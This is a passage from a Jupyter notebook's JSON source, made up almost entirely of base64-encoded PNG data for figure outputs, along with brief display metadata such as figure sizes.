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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "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